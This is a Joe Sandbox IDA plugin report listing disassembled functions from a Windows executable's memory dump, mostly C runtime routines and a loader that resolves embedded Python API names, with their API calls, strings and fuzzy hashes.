Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: 70e9a4f3ccd27b92af4afb585e400eb988e2a440b0c63785d9bcac6133a6a011
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: A7D09E12F0C79642FB142F785C5517812666F58B02F14143CDA8B867B3EE2CB84D8340

Function 00007FF6B751013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7510180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7510277

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: 9e601518f5a6b0b002dad5668a8733424aa08585c56ca06e0a9f930c2eb9cb6b
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: 6F510723B0D26586FB289F2D980167A6291BF44BA5F194735DF7D83BE5DF3CE4018620

Function 00007FF6B751C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6B751C2CD), ref: 00007FF6B751C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF6B751C2CD), ref: 00007FF6B751C18A

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 9348fd7082fa0307d0cc518e5fe57c94b1d6325e0784e436dff23ff2b4a4699b
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 8211C463A0CAA181DA208B2AE8141696361AB45FF4F544335EF7D8BBF9DE7CE0518740

Function 00007FF6B751A948 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A95E
GetLastError.KERNEL32(?,?,?,00007FF6B7522D22,?,?,?,00007FF6B7522D5F,?,?,00000000,00007FF6B7523225,?,?,?,00007FF6B7523157), ref: 00007FF6B751A968

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 3613575286240467edad9f89c37e75a443f63643d04c36f8c43fe361a08c654f
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: D6E08C52F0D20643FF0A6FFAA8455381261AF88B02F444038CB0DC27B1EE2C78828710

Function 00007FF6B751AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF6B751A9D5,?,?,00000000,00007FF6B751AA8A), ref: 00007FF6B751ABC6
GetLastError.KERNEL32(?,?,?,00007FF6B751A9D5,?,?,00000000,00007FF6B751AA8A), ref: 00007FF6B751ABD0

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 407f86b3c7839f6f1954c1288e880ec10a226cb763a7050fad2a332fc2f14047
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 7421AB13F1C6E241FA669BA9949037D12929F847A5F044239DB1EC7FF5DE6CF8814300

Function 00007FF6B751BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751BED4

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 6c5d8e89f1f6e1cb93ead1f22dc2cae22c4fa37c2040123e0360d7510bde1ba4
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 9C419A3391C25587EA259F2DA54027973A1EB5AB92F100235EBCEC3AE1CF6CE4438B51

Function 00007FF6B7507F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6B750803A

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 0452e3aa7aca29920b4941156e71ee71ec49b143be23cefe434c899149b2eae9
Instruction ID: 37860710e2ad52b969d1663f6b44e6b6ee08945183f3051cc32d536a3ba7d339
Opcode Fuzzy Hash: 0452e3aa7aca29920b4941156e71ee71ec49b143be23cefe434c899149b2eae9
Instruction Fuzzy Hash: 2421D622B1C66146FA109B2A6914BFA9781BF45BD8F884430EF4C97B96CE7DF042C300

Function 00007FF6B751B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751B9C2

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction ID: 1e28fe687b4b102906b4916518218b98f1f38c22012c395fdba5b578c0066d66
Opcode Fuzzy Hash: 0fe3e981c7cf3185d146a9a4244026f2f164e791e6f92d2a50fd94940550a020
Instruction Fuzzy Hash: BF316123A1C62285F7116F5D884137C26A0AF80FA6F415235EB5D97BF2CE7CF4428711

Function 00007FF6B7519961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6B751998F

Part of subcall function 00007FF6B7519A88: GetModuleHandleExW.KERNEL32 ref: 00007FF6B7519AAD
Part of subcall function 00007FF6B7519A88: GetProcAddress.KERNEL32 ref: 00007FF6B7519AC3
Part of subcall function 00007FF6B7519A88: FreeLibrary.KERNEL32 ref: 00007FF6B7519AEA

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: a68db4340b1205cab7b89a5b056d592e21b74a6ffdba87d9efdedfeabd7a09f1
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: 16217A76A087968AEB258F68C4807FC33A4FB44719F44463AD76D86EE5DF38D584CB40

Function 00007FF6B7515F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7515EF9

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 1ed75aa72f50d236d9686b0a6e597cd7aba8c1c411a2243c41135f4c077dd308
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: C5116023E1C66282EA61AF19940027EA264BF85B85F444536FB8CD7FB6DF3DE4418700

Function 00007FF6B7526354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7526377

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: be48282a8cd2cc7da7c5f69b13c750ed32804945e68f4a7ac804d1c504c0b065
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: F3218433A1CA4586EB618F1CD48037976A0FB94B54F244234EB9EC7AE9DF3CD4118B00

Function 00007FF6B75103BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7510410

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: a84ba4a718ccd5eed1345ccf01100c65a9825216815a7ae7e20535eea5ef0b15
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: D901C422E0C76580EA04DF5A99410B9A691BF85FE1F484631EF5C97FE6CE7CE4028300

Function 00007FF6B751D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF6B7510C90,?,?,?,00007FF6B75122FA,?,?,?,?,?,00007FF6B7513AE9), ref: 00007FF6B751D63A

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 03153f43d82c1e21f5ae14c97fc931c40e7c8e65b3e43365fdf77f0453d9abc4
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: 06F0F892F0DB9645FE645F79584167512905F847A2F080734DF2EC6AE2EE2CA880A610

Non-executed Functions

Function 00007FF6B7505830 Relevance: 229.6, APIs: 86, Strings: 45, Instructions: 400libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505840
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505852
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505889
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750589B
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058B4
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058C6
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058DF
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75058F1
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750590D
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750591F
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750593B
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750594D
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505969
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B750597B
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B7505997
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75059A9
GetProcAddress.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75059C5
GetLastError.KERNEL32(?,00007FF6B75064CF,?,00007FF6B750336E), ref: 00007FF6B75059D7

Strings

PyObject_GetAttrString, xrefs: 00007FF6B7505D53, 00007FF6B7505D75
PyMem_RawFree, xrefs: 00007FF6B7505C9B, 00007FF6B7505CBD
PyImport_ImportModule, xrefs: 00007FF6B7505C3F, 00007FF6B7505C61
PyConfig_SetWideStringList, xrefs: 00007FF6B7505A73, 00007FF6B7505A95
PyErr_Occurred, xrefs: 00007FF6B7505B2B, 00007FF6B7505B4D
Py_Finalize, xrefs: 00007FF6B75058D5, 00007FF6B75058F7
PyConfig_InitIsolatedConfig, xrefs: 00007FF6B75059BB, 00007FF6B75059DD
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF6B7505DDD, 00007FF6B7505DFF
PyObject_CallFunctionObjArgs, xrefs: 00007FF6B7505D25, 00007FF6B7505D47
PyObject_CallFunction, xrefs: 00007FF6B7505CF7, 00007FF6B7505D19
PyImport_AddModule, xrefs: 00007FF6B7505BE3, 00007FF6B7505C05
PyStatus_Exception, xrefs: 00007FF6B7505E39, 00007FF6B7505E5B
Py_IsInitialized, xrefs: 00007FF6B7505931, 00007FF6B7505953
PyMarshal_ReadObjectFromString, xrefs: 00007FF6B7505C6D, 00007FF6B7505C8F
PyConfig_Read, xrefs: 00007FF6B75059E9, 00007FF6B7505A0B
PyModule_GetDict, xrefs: 00007FF6B7505CC9, 00007FF6B7505CEB
Failed to get address for %hs, xrefs: 00007FF6B7505861
PyRun_SimpleStringFlags, xrefs: 00007FF6B7505E0B, 00007FF6B7505E2D
PyObject_Str, xrefs: 00007FF6B7505DAF, 00007FF6B7505DD1
Py_ExitStatusException, xrefs: 00007FF6B75058AA, 00007FF6B75058CC
Py_PreInitialize, xrefs: 00007FF6B750595F, 00007FF6B7505981
PyConfig_SetBytesString, xrefs: 00007FF6B7505A17, 00007FF6B7505A39
GetProcAddress, xrefs: 00007FF6B7505868
PyUnicode_Decode, xrefs: 00007FF6B7505EF1, 00007FF6B7505F13
PyImport_ExecCodeModule, xrefs: 00007FF6B7505C11, 00007FF6B7505C33
PySys_SetObject, xrefs: 00007FF6B7505E95, 00007FF6B7505EB7
PySys_GetObject, xrefs: 00007FF6B7505E67, 00007FF6B7505E89
Py_DecRef, xrefs: 00007FF6B7505836, 00007FF6B7505858
PyErr_Print, xrefs: 00007FF6B7505B59, 00007FF6B7505B7B
PyUnicode_DecodeFSDefault, xrefs: 00007FF6B7505F1F, 00007FF6B7505F41
PyObject_SetAttrString, xrefs: 00007FF6B7505D81, 00007FF6B7505DA3
PyConfig_Clear, xrefs: 00007FF6B750598D, 00007FF6B75059AF
PyErr_Clear, xrefs: 00007FF6B7505AA1, 00007FF6B7505AC3
PyErr_Fetch, xrefs: 00007FF6B7505ACF, 00007FF6B7505AF1
PyEval_EvalCode, xrefs: 00007FF6B7505BB5, 00007FF6B7505BD7
PyErr_Restore, xrefs: 00007FF6B7505B87, 00007FF6B7505BA9
PyConfig_SetString, xrefs: 00007FF6B7505A45, 00007FF6B7505A67
Py_DecodeLocale, xrefs: 00007FF6B750587F, 00007FF6B75058A1
PyUnicode_AsUTF8, xrefs: 00007FF6B7505EC3, 00007FF6B7505EE5
PyErr_NormalizeException, xrefs: 00007FF6B7505AFD, 00007FF6B7505B1F
PyUnicode_Join, xrefs: 00007FF6B7505FA9, 00007FF6B7505FCB
PyUnicode_FromString, xrefs: 00007FF6B7505F7B, 00007FF6B7505F9D
PyUnicode_Replace, xrefs: 00007FF6B7505FD7, 00007FF6B7505FF9
PyUnicode_FromFormat, xrefs: 00007FF6B7505F4D, 00007FF6B7505F6F
Py_InitializeFromConfig, xrefs: 00007FF6B7505903, 00007FF6B7505925

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B7542000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127112018.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6b7500000_program.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 51059412cc8c27bda031adb8049a171a26fb45d4a4ab3af1fd8e4184feb329f4
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: 2022C367A0DB0792FB56DB5DA824AB423B0FF04789F645039CB5E822B1FF3CB5589244

Function 00007FF6B75240AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF6B75240FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7524766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B75248DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7524B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7524DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7524FF7
memcpy_s.LIBCPMT ref: 00007FF6B75250D2
memcpy_s.LIBCPMT ref: 00007FF6B752517D
memcpy_s.LIBCPMT ref: 00007FF6B752524C

Strings

1#SNAN, xrefs: 00007FF6B752420A
1#IND, xrefs: 00007FF6B75241E7
1#INF, xrefs: 00007FF6B7524223
1#QNAN, xrefs: 00007FF6B7524213

Memory Dump Source

Source File: 00000000.00000002.2126958891.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000000.00000002.2126929997.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127002983.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127044872.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
